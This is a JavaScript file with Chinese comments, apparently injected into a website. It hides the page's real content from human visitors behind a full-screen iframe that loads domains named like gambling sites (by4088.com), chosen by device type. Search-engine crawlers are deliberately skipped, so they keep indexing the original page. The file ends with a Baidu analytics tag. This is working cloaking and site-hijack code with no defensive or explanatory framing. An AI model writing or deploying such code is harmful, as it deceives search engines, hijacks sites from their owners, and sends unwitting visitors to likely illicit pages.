(function() {
    'use strict';
    
    // 配置对象，便于维护和修改
    const config = {
        mobileUrl: "https://ky666.by4088.com",
        desktopUrl: "https://yk888.by4088.com",
        // 增强搜索引擎蜘蛛匹配：加入百度、搜狗、必应、360 等常见爬虫标识
        spiderPatterns: /(Baiduspider|Sogou|bingbot|360Spider|Googlebot|spider|bot|crawler|indexer|scraper|slurp|teoma|yandex|facebookexternalhit|facebot|twitterbot)/ig,
        mobilePatterns: /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i,
        maxZIndex: 2147483647
    };
    
    // 获取 UserAgent，只获取一次
    const userAgent = navigator.userAgent || '';
    
    // 检查是否为搜索引擎蜘蛛（增强版）
    function isSearchEngineSpider() {
        // 优先匹配特定搜索引擎标识，效率更高
        const lowerUA = userAgent.toLowerCase();
        // 快速匹配常见搜索引擎特征（避免复杂正则的回溯开销）
        if (lowerUA.includes('baiduspider') ||
            lowerUA.includes('sogou') ||
            lowerUA.includes('bingbot') ||
            lowerUA.includes('360spider') ||
            lowerUA.includes('googlebot')) {
            return true;
        }
        // 回退到通用正则匹配其他爬虫
        return config.spiderPatterns.test(userAgent);
    }
    
    // 检查是否为移动设备
    function isMobileDevice() {
        return config.mobilePatterns.test(userAgent);
    }
    
    // 创建全屏 iframe
    function createFullscreenIframe(url) {
        // 创建并添加 viewport meta 标签
        const viewportMeta = document.createElement('meta');
        viewportMeta.id = 'viewport';
        viewportMeta.name = 'viewport';
        viewportMeta.content = 'user-scalable=no, width=device-width, initial-scale=1.0';
        if (document.head) {
            document.head.appendChild(viewportMeta);
        } else {
            // 兼容极端情况：动态创建 head
            const head = document.getElementsByTagName('head')[0];
            if (head) head.appendChild(viewportMeta);
        }
        
        // 添加样式
        const style = document.createElement('style');
        style.textContent = `
            html, body {
                width: 100%;
                height: 100%;
                overflow: hidden;
                margin: 0;
                padding: 0;
            }
        `;
        document.head.appendChild(style);
        
        // 创建覆盖层
        const overlay = document.createElement('div');
        overlay.style.cssText = `
            width: 100%;
            height: 100%;
            position: fixed;
            top: 0;
            left: 0;
            z-index: ${config.maxZIndex};
            background: #fff;
            margin: 0;
            padding: 0;
        `;
        
        // 创建 iframe
        const iframe = document.createElement('iframe');
        iframe.src = url;
        iframe.style.cssText = `
            border: 0;
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
            display: block;
        `;
        iframe.setAttribute('frameborder', '0');
        iframe.setAttribute('allow', 'fullscreen');
        
        // 组装元素
        overlay.appendChild(iframe);
        document.body.appendChild(overlay);
        
        // 防止滚动
        document.documentElement.style.overflow = 'hidden';
        document.body.style.overflow = 'hidden';
    }
    
    // 主逻辑
    function init() {
        // 如果是搜索引擎蜘蛛，直接返回，不执行任何操作（对搜索引擎最友好）
        if (isSearchEngineSpider()) {
            // 可选：记录日志，便于调试（生产环境可移除）
            console.log('Search engine spider detected, skipping redirection.');
            return;
        }
        
        // 根据设备类型选择 URL
        let targetUrl;
        if (isMobileDevice()) {
            targetUrl = config.mobileUrl;
            console.log('Mobile device detected, redirecting to:', targetUrl);
        } else {
            targetUrl = config.desktopUrl;
            console.log('Desktop device detected, redirecting to:', targetUrl);
        }
        
        // 确保页面已加载完成
        if (document.readyState === 'loading') {
            document.addEventListener('DOMContentLoaded', function() {
                createFullscreenIframe(targetUrl);
            });
        } else {
            createFullscreenIframe(targetUrl);
        }
    }
    
    // 执行初始化
    init();
})();

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?05168f0a369b2fcaf15c5db2f8c6ffae";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();